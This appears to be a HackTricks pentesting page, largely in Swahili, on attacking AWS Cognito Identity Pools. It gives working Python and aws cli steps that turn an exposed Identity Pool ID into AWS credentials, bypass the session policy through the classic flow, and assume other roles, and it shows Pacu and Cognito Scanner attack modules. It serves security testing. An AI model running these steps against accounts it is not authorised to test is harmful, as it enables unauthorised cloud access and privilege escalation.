Cognito Identity Pools

Support HackTricks

Basic Information

Mikondo ya utambulisho inachukua jukumu muhimu kwa kuwezesha watumiaji wako kupata ithibati za muda mfupi. Ithibati hizi ni muhimu kwa kufikia huduma mbalimbali za AWS, ikiwa ni pamoja na lakini sio tu Amazon S3 na DynamoDB. Kipengele muhimu cha mikondo ya utambulisho ni msaada wao kwa watumiaji wa wageni wasiojulikana na anuwai ya watoa utambulisho kwa uthibitishaji wa mtumiaji. Watoa utambulisho wanaoungwa mkono ni pamoja na:

  • Amazon Cognito user pools

  • Chaguzi za kuingia za kijamii kama Facebook, Google, Login with Amazon, na Sign in with Apple

  • Watoa huduma wanaokubaliana na OpenID Connect (OIDC)

  • Watoa utambulisho wa SAML (Security Assertion Markup Language)

  • Utambulisho wa watengenezaji walioidhinishwa

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Ili kuunda vikao vya Identity Pool, unahitaji kwanza kuunda na Identity ID. Hii Identity ID ni kitambulisho cha kikao cha mtumiaji huyo. Vitambulisho hivi vinaweza kuwa na hadi seti 20 za data ambazo zinaweza kuhifadhi hadi 1MB ya jozi za funguo-thamani.

Hii ni faida kwa kuhifadhi taarifa za mtumiaji (ambaye atakuwa akitumia kila wakati Identity ID ile ile).

Zaidi ya hayo, huduma cognito-sync ni huduma inayoruhusu kusimamia na kusawazisha taarifa hizi (katika seti za data, kutuma taarifa katika mstreams na ujumbe wa SNS...).

Tools for pentesting

  • Pacu, mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito__enum" na "cognito__attack" ambazo zinafanya otomatiki ya kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki ya uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za kuaminika za identity pool, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk.

Kwa maelezo ya kazi za moduli, angalia sehemu ya 2 ya blog post. Kwa maelekezo ya usakinishaji, angalia ukurasa mkuu wa Pacu.

Usage

Mfano wa matumizi ya cognito__attack kujaribu uundaji wa mtumiaji na njia zote za privesc dhidi ya identity pool na mteja wa user pool uliopewa:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Sample cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:

Mfano wa matumizi ya cognito__enum kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya kitambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji wa akaunti zisizohitajika na kupandisha hadhi ya mchanganyiko wa utambulisho.

Installation

$ pip install cognito-scanner

Matumizi

$ cognito-scanner --help

Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner

Kufikia Majukumu ya IAM

Bila Uthibitisho

Jambo pekee ambalo mshambuliaji anahitaji kujua ili kupata AWS credentials katika programu ya Cognito kama mtumiaji asiye na uthibitisho ni Identity Pool ID, na ID hii inapaswa kuwa imeandikwa kwa nguvu katika programu ya wavuti/mobail ili kuitumie. ID inaonekana kama hii: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (haiwezi kufanywa kwa nguvu).

IAM Cognito unathenticated role iliyoundwa kupitia inaitwa kwa default Cognito_<Identity Pool name>Unauth_Role

Ikiwa unapata Identity Pools ID imeandikwa kwa nguvu na inaruhusu watumiaji wasiothibitishwa, unaweza kupata AWS credentials kwa:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Au unaweza kutumia amri zifuatazo za aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Kumbuka kwamba kwa kawaida mtumiaji asiyejulikana wa cognito HAWEZI kuwa na ruhusa yoyote, hata kama ilitolewa kupitia sera. Angalia sehemu ifuatayo.

Mchakato wa Uthibitishaji wa Juu vs Msingi

Sehemu ya awali ilifuata mchakato wa uthibitishaji wa juu wa kawaida. Mchakato huu unakagua sera ya kikao inayozuia kwa kikao cha jukumu la IAM kilichoundwa. Sera hii itaruhusu kikao kutumia huduma kutoka orodha hii (hata kama jukumu lilikuwa na ufikiaji wa huduma nyingine).

Hata hivyo, kuna njia ya kupita hii, ikiwa kikundi cha Utambulisho kina "Mchakato wa Msingi (Classic) ulioanzishwa", mtumiaji ataweza kupata kikao kwa kutumia mchakato huo ambao hautakuwa na sera hiyo ya kikao inayozuia.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Ikiwa unapata kosa hili, ni kwa sababu mchakato wa msingi haujawezeshwa (default)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Kuwa na seti ya akreditivu za IAM unapaswa kuangalia ni upatikanaji gani unao na kujaribu kuinua mamlaka.

Imeidhinishwa

Kumbuka kwamba watumiaji walioidhinishwa huenda wakapewa idhini tofauti, hivyo ikiwa unaweza kujiandikisha ndani ya programu, jaribu kufanya hivyo na kupata akreditivu mpya.

Pia kunaweza kuwa na majukumu yanayopatikana kwa watumiaji walioidhinishwa wanaofikia Hifadhi ya Utambulisho.

Kwa hili unaweza kuhitaji kuwa na upatikanaji wa mtoa utambulisho. Ikiwa hiyo ni Cognito User Pool, huenda unaweza kutumia tabia ya kawaida na kuunda mtumiaji mpya mwenyewe.

Jukumu la IAM Cognito lililoidhinishwa lililoundwa kupitia linaitwa kwa default Cognito_<Jina la Hifadhi ya Utambulisho>Auth_Role

Hata hivyo, mfano ufuatao unatarajia kwamba tayari umeingia ndani ya Cognito User Pool inayotumika kufikia Hifadhi ya Utambulisho (usisahau kwamba aina nyingine za watoa utambulisho zinaweza pia kuanzishwa).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Pata identity_id kutoka kwa jibu la amri ya awali
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Katika IdToken unaweza kupata majukumu ambayo mtumiaji ana upatikanaji kwa sababu ya Makundi ya User Pool
# Tumia --custom-role-arn kupata akreditivu kwa jukumu maalum
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Inawezekana kuunda majukumu tofauti ya IAM kulingana na mtoa utambulisho ambaye mtumiaji anaingia au hata kulingana na mtumiaji (kwa kutumia madai). Hivyo, ikiwa una upatikanaji wa watumiaji tofauti kupitia watoa sawa au tofauti, inaweza kuwa ya thamani kuingia na kufikia majukumu ya IAM ya wote.

Support HackTricks

Last updated